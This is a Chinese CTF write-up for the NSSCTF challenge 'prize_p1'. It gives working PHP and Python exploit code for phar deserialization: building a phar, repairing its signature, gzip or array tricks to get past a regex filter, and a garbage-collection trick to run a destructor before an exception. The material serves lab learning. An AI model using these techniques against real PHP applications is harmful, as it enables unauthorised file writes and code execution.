[NSSCTF]prize_p1

发布于:2024-05-06 ⋅ 阅读:(25) ⋅ 点赞:(0)

前言

之前做了p5 才知道还有p1到p4

遂来做一下

顺便复习一下反序列化

prize_p1

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <?php
  highlight_file(__FILE__);
  class getflag
  {
    function __destruct()
    {
      echo getenv("FLAG");
    }
  }

  class A
  {
    public $config;
    function __destruct()
    {
      if ($this->config == 'w') {
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
          die("我知道你想干吗,我的建议是不要那样做。");
        }
        file_put_contents("./tmp/a.txt", $data);
      } else if ($this->config == 'r') {
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
          die("我知道你想干吗,我的建议是不要那样做。");
        }
        echo file_get_contents($data);
      }
    }
  }
  if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
  }
  unserialize($_GET[0]);
  throw new Error("那么就从这里开始起航吧");

这里定义两个类

第一个类可以通过触发_destruct()得到flag

第二个类可以实现文件读写的功能

可以传两个变量 一个post一个get

因为get里面正则匹配过滤了getflag 我们没法用get传参直接反序列化触发getflag类

但是可以利用post 上传phar文件 再用phar协议读取

就可以反序列化class getflag

从而触发__destruct()魔术方法 echo flag

那么我们第一步先生成phar文件

<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
   // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('test.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

但是post里面也过滤了getflag

生成的phar文件里面还是包含getflag明文

类比之前做过一题phar反序列化 只要把

phar文件打成压缩包

(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)

传输进去的就是二进制流乱码 就可以绕过正则匹配

写个脚本上传一下

import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./1.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)       
print(flag)

最后返回的结果为空

再回去看这个代码

要绕过这个异常

绕过异常

在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为

a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。

重新生成phar文件

<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
   // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('p1.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$o = array(0=>$o,1=>null);
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

但是我们一旦更改phar里的内容就要修改它的签名

修复签名的代码

from hashlib import sha1
f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

再运行一下

import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./ph2.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)


### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)

flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

成功得到flag

看别的wp又学到这里用数组的话 不压缩也可以绕过正则

import requests
import re

url="http://node4.anna.nssctf.cn:28134/"

### 写入phar文件
with open("ph2.phar",'rb') as f:
    data1={'0[]':f.read()}          #传数组绕过,值就是hacker1.phar文件的内容
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)

原理如下:

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

最后

总结一下这题的知识点

__destruct触发

对象的析构函数在对象被销毁时触发,对象被销毁的情况

正常销毁:

当整个程序生命周期结束前会销毁所有的对象

可以看到 在整个程序执行完后才触发了__destruct()魔术方法

手动释放变量销毁

使用unset函数释放变量

在程序执行完之前我们手动释放了变量

触发__destruct()魔术方法

gc回收未引用变量

面向对象的语言内部都有gc机制,来回收没有被引用的变量,所以这个时候也会触发__destruct

创建时就未被引用



这里创建对象的时候没有用变量来接收引用,所以也在echo "lll\n"之前就被gc回收触发析构函数

创建后人为消除引用



这里对象创建的时候是$a这个数组里面0索引指向引用的,在10行改变0索引指向null,这样就使得a的对象没有任何引用,所以也会在11行执行前,被gc回收销毁触发析构函数

这题就是用这个方法提前触发这个析构函数 从而绕过最后一行的抛出异常

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写